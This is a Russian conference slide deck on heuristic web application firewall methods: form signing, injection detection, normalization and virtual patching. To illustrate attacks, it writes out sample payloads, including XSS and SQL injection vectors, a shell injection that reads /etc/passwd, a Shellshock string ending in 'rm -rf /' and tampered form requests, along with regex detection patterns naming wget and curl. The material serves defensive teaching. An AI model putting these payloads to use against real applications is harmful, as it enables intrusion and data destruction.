Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Эвристические методы защиты приложений

321 views

Published on

В рамках PDUG

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Эвристические методы защиты приложений

  1. 1. Заголовок ptsecurity.com Эвристические методы защиты приложений Руководитель группы исследований технологий защиты Positive Technologies Денис Колегов
  2. 2. Заголовок • Руководитель группы исследований технологий защиты Позитив Текнолоджис • Доцент, к.т.н., доцент кафедры защиты информации и криптографии ТГУ • https://twitter.com/dnkolegov • dnkolegov@gmail.com # whoami
  3. 3. Заголовок • Введение • Теория WAF • Методы защиты веб-приложений • Аутентификация веб-форм • Обнаружение инъекций • Встроенное распознавание • Виртуальный патчинг # План
  4. 4. Заголовок • Учебно-демонстрационный межсетевой экран веб-приложений • Shockfish WAF • https://github.com/PositiveTechnologies/shockfish • Shockfish.js Client-side WAF • https://github.com/PositiveTechnologies/shockfish.js # Shockfish
  5. 5. Заголовок Введение
  6. 6. Заголовок Веб-приложение – клиент-серверное приложение, в котором клиентом является веб-браузер, сервером – веб-сервер, а протоколом взаимодействия между ними – веб-протокол Базовый состав • Веб-браузер • Веб-сервер / Сервер приложений • СУБД Определение
  7. 7. ЗаголовокКак работает веб-приложение GET / HTTP/1.1 Host: www.example.com Connection: close HTTP/1.1 200 OK Server: nginx Content-Type: text/html Content-Length: 51 Date: Mon, 29 Aug 2016 10:36:58 GMT Connection: close <!DOCTYPE html> <html> <body> <h1>Hello, World!</h1> </body> </html>
  8. 8. Заголовок Огромное количество технологий и их реализаций Простота использования Доступность и распространенность Низкий порог входа • Для разработчиков • Для пентестеров / баг-хантеров • Для злоумышленников Особенности
  9. 9. Заголовок Необходимо построить многоуровневую защиту В принципе невозможно устранить уязвимость в самом приложении • Legacy • Third-party Необходимый механизм защиты отсутствует или сложно реализуем • Защита от подбора паролей • Управление доступом • Защита от нежелательной автоматизации Необходимо немедленно устранить обнаруженную уязвимость до ее реального устранения в исходном коде А что если …?
  10. 10. Заголовок В 1990-х годах активно используется принцип внешнего монитора безопасности Текущий подход: разрабатывать приложения защищенными, а не полагаться на внешние механизмы защиты Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при этом с ума Как правильно защищать приложения?
  11. 11. Заголовок Теория WAF
  12. 12. Заголовок • An appliance, server plugin, or filter that applies a set of rules to an HTTP conversation • A security solution on the web application level which does not depend on the application itself • A security policy enforcement point positioned between a web application and the client end point. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components Что такое WAF? Web Application Firewall Evaluation Criteria
  13. 13. ЗаголовокКлассический WAF
  14. 14. Заголовок Развертывание: • Bridge • Router • Reverse proxy • Embedded • Out-of band (SPAN/RSPAN) Доставка: • Hardware integrated • Appliance • Claud • Software-only (software, web-server module, middleware, … ) • Software integrated (RASP) Классификация
  15. 15. Заголовок Detective • Первичная валидация данных (методы, длина запроса, длина и число заголовков, …) • Обнаружение инъекций Mitigative - ослабление атак, от которых трудно защититься • Проверка на соответствие RFC • Аутентификация сообщений • Шифрование URL или скрытых полей • Маскирование данных • Блокирование IP-адреса или завершение сессии Предотвращение (prevention) – предотвращение использования обнаруженных уязвимостей • Виртуальный патчинг Механизмы защиты
  16. 16. ЗаголовокWAF Data-flow Model
  17. 17. Заголовок • Валидация HTTP-запроса (метод, длина запросов, количество заголовков и т.д.) • Нормализация HTTP-запроса (HTTP Parameter Pollution & Contamination) • Обнаружение инъекций (SQLi, LDAP, XPath и т.д.) • Парсинг данных (XML, JSON, AMF и т.д.) • Проверка репутации IP Обработка запросов
  18. 18. Заголовок Обнаружение утечек данных: • stack traces • debug information • application errors Обнаружение недостатков конфигураций: • отсутствие заголовков безопасности • небезопасная политика CSP • небезопасная конфигурация SSL/TLS Обработка ответов
  19. 19. Заголовок Корреляция запросов и ответов HTTP: • обнаружение отражения параметров запроса в ответе (Reflected XSS, Open Redirect, HTTP Response Splitting) • обнаружение успешной эксплуатации уязвимости (например, наличие вектора Path Traversal в запросе и содержимого файла /etc/passwd в ответе) • User tracking – ассоциирование запросов и ответов с учетными записями пользователей защищаемого веб-приложения Обработка транзакций
  20. 20. Заголовок • Credentials bruteforcing • Site scraping • Common vulnerability scanning • Account takeover • HTTP slow DoS attacks • L7 DDoS • Fraud Механизмы защиты реализуются на основе машинного обучения или счетчиков (например, max requests per second, max 404 errors per minute и т.д.) Поведенческий анализ
  21. 21. Заголовок Теория • Теория формальных языков • LangSec Практика • Модель черного ящика • Множество технологий • Отсутствие стандартов • Развитие клиентских частей веб-приложений Источники ограничений
  22. 22. Заголовок Входные данные – формальный язык WAF – универсальный распознаватель (recognizer) языков атак на веб- приложения Можно распознать эквивалентный или менее мощный язык Теория формальных языков Грамматика Распознаватель Типа 0 Машина Тьюринга Контекстно-зависимая Линейно-ограниченный автомат Недетерминированная контекстно-свободная Недетерминированный автомат с магазинной памятью Детерминированная контекстно-свободная Недетерминированный автомат с магазинной памятью Регулярная Конечный автомат LangSec: Language-theoretic security
  23. 23. Заголовок Недостаточное (неэффективное) распознавание (insufficient recognition) • распознавание КС-языка с помощью регулярного выражения Различимость парсеров (parser differentials) • одни и те же входные данные распознаются парсерами по-разному Входные данные сложнее чем детерминированный контекстно- свободный язык Проблемы M. Patterson, S. Bratus, etc. The Seven Turrets of Babel: A Taxonomy of LangSec Errors and How to Expunge Them
  24. 24. Заголовок Предположение. Язык инъекций КС-языка является как минимум КЗ-языком • ' or '1 ' = '1 Язык инъекций как минимум содержит цепочки (вектора) целевого языка, а значит является КС-языком • select * from foo where id = <injection> • (select ((1))) При этом префикс и постфикс являются контекстно-зависимыми Проблемы
  25. 25. Заголовок Веб-приложение для WAF – это просто последовательность запросов и / или ответов Непонимание контекста Непонимание логики взаимодействия • Боты • Взлом аккаунта • Злоупотребления (abuse / misuse) Модель черного ящика
  26. 26. Заголовок • HTTP (0.9, 1.0, 1.1, 1.2), WebSockets • SSL (2.0, 3.0), TLS (1.0, 1.1, 1.2, 1.3), HSTS, HPKP, OCSP • Load Balancers: F5 BIG-IP, Citrix NetScaler, … • Web-servers: Apache, Nginx, IIS, GWS, Jetty, … • Frameworks: ASP.NET, RoR, Django, Symfony, GWT, ExpressJS, … • SQL Databases: MySQL, MS SQL, PostgreSQL, Oracle, … • noSQL «Databases»: MongoDB, ElasticSearch, Redis, … • Browsers: Chrome, IE, Opera, Firefox, Safari, Yandex Browser, … • JavaScript libraries: jQuery, lodash, … • JavaScript Frameworks: Angular, React, Ext.js, Ember.js, … • HTML, CSS, XML, JSON Множество технологий
  27. 27. Заголовок Минута из жизни WAF
  28. 28. ЗаголовокМинута из жизни WAF CATS /app?pageId=1 HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 403 Forbidden Server: WAF Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  29. 29. ЗаголовокМинута из жизни WAF CATS /app?pageId=1 HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 403 Forbidden Server: WAF Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  30. 30. ЗаголовокМинута из жизни WAF GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Acunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL) Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm HTTP/1.1 403 Forbidden Server: WAF Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  31. 31. ЗаголовокМинута из жизни WAF GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Acunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL) Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm HTTP/1.1 403 Forbidden Server: WAF Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  32. 32. ЗаголовокМинута из жизни WAF GET /app?pageId=<script>alert(1)</script> HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 403 Forbidden Server: WAF Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  33. 33. ЗаголовокМинута из жизни WAF GET /app?pageId=<script>alert(1)</script> HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 403 Forbidden Server: WAF Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  34. 34. ЗаголовокМинута из жизни WAF GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  35. 35. ЗаголовокМинута из жизни WAF GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 function getID(request) { var rawID = request.getValue('id'); var id = hexdecode(base64decode(rawID)); return id; } // rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d // id = <script>alert(1)</script> Исходный код
  36. 36. ЗаголовокМинута из жизни WAF GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close <script>alert(1)</script>
  37. 37. ЗаголовокМинута из жизни WAF GET /app?callback=delete_user_data HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 1 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close <html><body><script type="text/javascript"> window.opener.delete_user_data({"status":0,"token":"ItHumYWI[...snip..]","oauthstate":"1234","tokenid":"ToKeN1234 ","tokenexp":"0","gid":"401223423..","url":"http://example.com"}); </script></body></html>
  38. 38. ЗаголовокМинута из жизни WAF GET /app?callback=delete_user_data HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 1 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close <html><body><script type="text/javascript"> window.opener.delete_user_data({"status":0,"token":"ItHumYWI[...snip..]","oauthstate":"1234","tokenid":"ToKeN1234 ","tokenexp":"0","gid":"401223423..","url":"http://example.com"}); </script></body></html>
  39. 39. ЗаголовокМинута из жизни WAF GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  40. 40. ЗаголовокМинута из жизни WAF GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  41. 41. ЗаголовокМинута из жизни WAF POST /download?document_id=1123123&user_id=234123423&action_id=100 HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  42. 42. ЗаголовокМинута из жизни WAF POST /download?document_id=1123123&user_id=234123423&action_id=100 HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  43. 43. ЗаголовокМинута из жизни WAF GET /delete_account HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 1 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close
  44. 44. ЗаголовокМинута из жизни WAF GET /delete_account HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 1 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close
  45. 45. Заголовок Эвристические методы защиты
  46. 46. Заголовок • Аутентификация веб-форм • Обнаружение инъекций • Встроенное распознавание • Виртуальный патчинг Методы защиты
  47. 47. Заголовок Аутентификация веб-форм
  48. 48. ЗаголовокВ чем проблема? <html> <body> <form action="update" method="POST"> <input type="hidden" name="price" value="100"> <input type="hidden" name="role" value="user"> <input type="text" name="quantity" value=""> <input type="text" name="email" value="user@myshop.com"> <input type="submit" value="Send"> </form> </body> </html> POST /update HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded price=100&role=user&quantity=1&email=user@myshop.com
  49. 49. Заголовок • CSRF • SSRF • Injections (SQLi, XSS, LDAPi, …) • Access control attacks (IDOR) • Business logic attacks Форма одна, атак много…
  50. 50. ЗаголовокПример
  51. 51. Заголовок «Подписи запросов» API • Yahoo, Amazon S3, Facebook ASP.NET Framework • Event Validation • View State MAC WAF • ModSecurity: HMAC Token Protection • F5 Networks ASM: Dynamic Content Value • Citrix NetScaler: Form Signature • PT AF: Form Signing Механизм защиты
  52. 52. Заголовок Client ← Server: p, h(k, p) Client → Server: p', h(k, p) Server: h(k, p) = h(k, p') Параметры: • h – функция HMAC • p – значение параметра • k – секретный ключ сервера Элементарный протокол
  53. 53. ЗаголовокЭлементарный протокол <html> <body> <form action="update" method="POST"> <input type="text" name="price" value="100"> <input type="submit" value="Send"> </form> </body> </html> POST /update HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded price=100
  54. 54. Заголовок Содержание в формах большого количества полей Различное представление форм для различных клиентов Наличие в формах опциональных элементов • Checkbox • Option • Radio Идентификация защищаемых форм в HTTP-ответах Идентификация скрытых элементов форм в HTTP-запросах Ввод данных на стороне клиента Сложности на практике
  55. 55. Заголовок Client ← Server: p, h(k, p) Client → Server: p', h(k, p) Server: h(k, p) = h(k, p') Как использовать этот протокол если значение p формируется в браузере на основе ввода пользователя? Ввод данных на стороне клиента
  56. 56. Заголовок Client ← Server: p, h(k, Tr(p, regex)) Client → Server: p', h(k, Tr(p, regex)) Server: h(k, Tr(p, regex)) = h(k, Tr(p', regex)) Параметры: • regex – валидирующее регулярное выражение для значения параметра • Tr(s, regex) – операция удаления из строки s подстрок, соответствующих regex • Tr("abc123", "[a-z]+" ) = "123" Валидирующее хэширование key string regex R HMAC of L(R)
  57. 57. Заголовок 1. Построение Authentication Base String (ABS) • Method • URL • Идентификатор сессии • Параметры • Имя • [Значение] • [Тип] Метод вычисления токена
  58. 58. Заголовок 2. Построение контейнеров формы • Контейнер скрытых полей - HFC HFC = {hp1_name, …, hpM_name} • Контейнер опциональных полей - OFC OFC = { {op1_name, op1_value1, …, op1_valueN1}, …, {opL_name, opL_value1, …, opL_valueNL} } Метод вычисления токена
  59. 59. Заголовок 3. Вычисление подписи signature = HMAC(k, HFC · OFC · HMAC(k, ABS, time)) • k – секретный ключ • time – текущее значение времени Метод вычисления токена
  60. 60. Заголовок 1. Парсинг входящего HTTP-запроса 2. Проверка метода запроса 3. Проверка наличия токена 4. Для POST-запроса по полученному URL выполняется поиск политики 5. Если политика найдена, то распаковываются данные из токена 6. Проверка опциональных и скрытых полей, если они есть 7. Формирование ABS и его проверка Метод проверки токена
  61. 61. Заголовок • Нельзя защитить формы, динамически сгенерированные на стороне клиента средствами JavaScript • Нельзя защитить формы, отправленные средствами JavaScript • Необходимо различать запросы, отправленные средствами веб-форм от запросов AJAX • Сложно защитить формы, отправляемые на сервер методом GET Ограничения метода
  62. 62. Заголовок • Защита приложения от анализа • Уменьшение поверхности атак на приложение • Противодействие средствам автоматизации • Предотвращение использования известных эксплойтов Результаты
  63. 63. ЗаголовокПример: исходная форма <html> <body> <form action="update" method="POST"> <input type="hidden" name="price" value="100"> <input type="hidden" name="role" value="user"> <input type="text" name="quantity" value="1"> <input type="text" name="email" value="user@myshop.com"> </form> </body> </html>
  64. 64. ЗаголовокПример: описание языка <html> <body> <form action="update" method="POST"> <input type="hidden" name="price" value="100"> <input type="hidden" name="role" value="user"> <input type="text" name="quantity" value="1"> <input type="text" name="email" value="user@myshop.com"> </form> </body> </html> Регулярный язык: d+
  65. 65. ЗаголовокПример: генерация токена ABS = base64("#POST#/update#price:100:&role:user:&quantity::#") HFC = "#price#role" signature = HMAC(k, HFC · HMAC(k, ABS, time)) token = base64(HFC · signature · time)
  66. 66. ЗаголовокПример: новая форма <html> <body> <form action="update" method="POST"> <input type="hidden" name="price" value="100"> <input type="hidden" name="role" value="user"> <input type="text" name="quantity" value="1"> <input type="text" name="email" value="user@myshop.com"> <input type="hidden" name="token" value="2341234123…"> </form> </body> </html>
  67. 67. ЗаголовокПример: аутентичный запрос POST /update HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=user&email=user@goodmail.com&token=2341234123…
  68. 68. ЗаголовокПример: атака CSRF POST /delete HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=user&email=user@goodmail.com&token=
  69. 69. ЗаголовокПример: атака повтора POST /admin/delete_account HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=43538475283745823748572345374527345 user=100001&token=2341234123…
  70. 70. ЗаголовокПример: атака на бизнес-логику POST /update HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=-100&quantity=2&role=user&email=user@goodmail.com&token=2341234123…
  71. 71. ЗаголовокПример: атака HPP POST /update HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=user&price=-100&token=2341234123…
  72. 72. ЗаголовокПример: атака IDOR POST /update HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=admin&email=user@goodmail.com&token=2341234123…
  73. 73. ЗаголовокПример: атака XSS POST /update HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=<svg/onload=alert(1)>&role=user&token=2341234123…
  74. 74. Заголовок Обнаружение инъекций
  75. 75. Заголовок Normalization Negative security model (Blacklisting) • Signature-based (regular expressions, text) • Rule-based • Syntax-based Positive security model (Whitelisting) • Static Profiling • Dynamic Profiling • Machine learning Механика обнаружения инъекций Web Application Firewall Evaluation Criteria
  76. 76. Заголовок Основной признак инъекции
  77. 77. Заголовок Алгоритм формирования выходных данных DOUTPUT на основе входных данных DINPUT уязвим к атаке инъекции, если дерево разбора (parse tree) для DOUTPUT зависит от DINPUT Признак уязвимости к инъекции
  78. 78. ЗаголовокПример http://example.com/foo.html#1 http://example.com/foo.html#1;alert(1); var input = location.hash.slice(1); document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>"); <script> var foo = 1;alert(1); <script> <script> var foo = 1; <script>
  79. 79. ЗаголовокПример var foo = 1; var foo = 1; alert(1);
  80. 80. Заголовок SQL: id=42' or 1=1-- - HTML: 111"><a href = "//evil.com"> JavaScript: 1"; alert(document.domain);// Shell Command Injection: 192.168.10.1 && cat /etc/passwd LDAP Injection: admin)|((userpassword=*) XPath Injection: user' or name()='admin' or 'x'='y Shellshock: test () { :; }; rm –rf / Примеры инъекций
  81. 81. Заголовок Нормализация
  82. 82. Заголовок Нормализация – процесс преобразования данных к виду, понимаемому защищаемым веб- приложением Цель – устранение недостатка типа Differential Parsing Кодирование • URL decoding • Null-byte string termination • BASE64 decoding • HTML entities decoding • Double encoding Парсинг • URL Path • HTTP Parameters • Hostname Нормализация
  83. 83. ЗаголовокПример GET /update?id=1+union+select+1/* HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475
  84. 84. ЗаголовокПример GET /update?id=1;select+1&id=2,3# HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 ASP.NET/IIS id = 1;SELECT 1,2,3 # PHP/Apache id = 2,3 #
  85. 85. ЗаголовокОбработка Path
  86. 86. ЗаголовокHTTP Parameter Pollution
  87. 87. ЗаголовокHTTP Parameter Contamination
  88. 88. Заголовок Основные принципы нормализации • приведение обрабатываемых данных к такому же формату и виду, к каким приведет его защищаемое веб-приложение • эквивалентный парсинг T. Ptacek, T.Newsham. Insertaion, Evasion, and Denial of Service: Eluding Network Intrusion Detection. Secure Networks, Inc. 1998 Ivan Ristic. Protocol-Level Evasion of Web Application Firewalls Нормализация
  89. 89. Заголовок Negative Security Model
  90. 90. Заголовок Лексический подход (регулярные выражения) Лексико-сигнатурный подход • Libinjection (Nick Galbreath) Синтаксический подход (parsing-based) • Dejector (Patterson, Hansen) • Libdetection (Wallarm) • Waf.js (Positive Technologies) • Indexed syntax graph (Shape Security) Negative Security Model
  91. 91. Заголовок Лексический подход
  92. 92. Заголовок Использование регулярных выражений (конечных автоматов) для распознавания регулярного языка атак Имеется L – регулярный язык атак, заданный регулярными выражениями R Если входное слово принадлежит языку L, т. е. допускается регулярным выражением из R, то входное слово – атака Лексический подход
  93. 93. ЗаголовокЛексический подход (?:/[^?/]+.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:;[^?/]*)??)|?.+=.*(?:(?:ActiveXObject|CreateObject|Exec)((?:"|')|((?:'| ")WScript.Shell) LDAP Search Filter Injection (?:((?:W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)bW*?=|[^wx80-xFF]*?[!&|][^wx80- xFF]*?()|)[^wx80-xFF]*?([^wx80-xFF]*?[!&|]) Reflected File Download SSRF (gopher|jar|tftp|php|phar|ldap|dict|ssh2|file|ogg|expect|imap|pop3|smtp|telnet|mailto|zlib|rar|compress.zlib|glob|data):// (?i:(?:[;|`]W*?bcc|b(wget|curl))b|/cc(?:['"|;`-s]|$)) OS Command Injection SSI Injection <!--W*?#W*?(?:e(?:cho|xec)|printenv|include|cmd)
  94. 94. ЗаголовокЛексический подход Reflected File Download
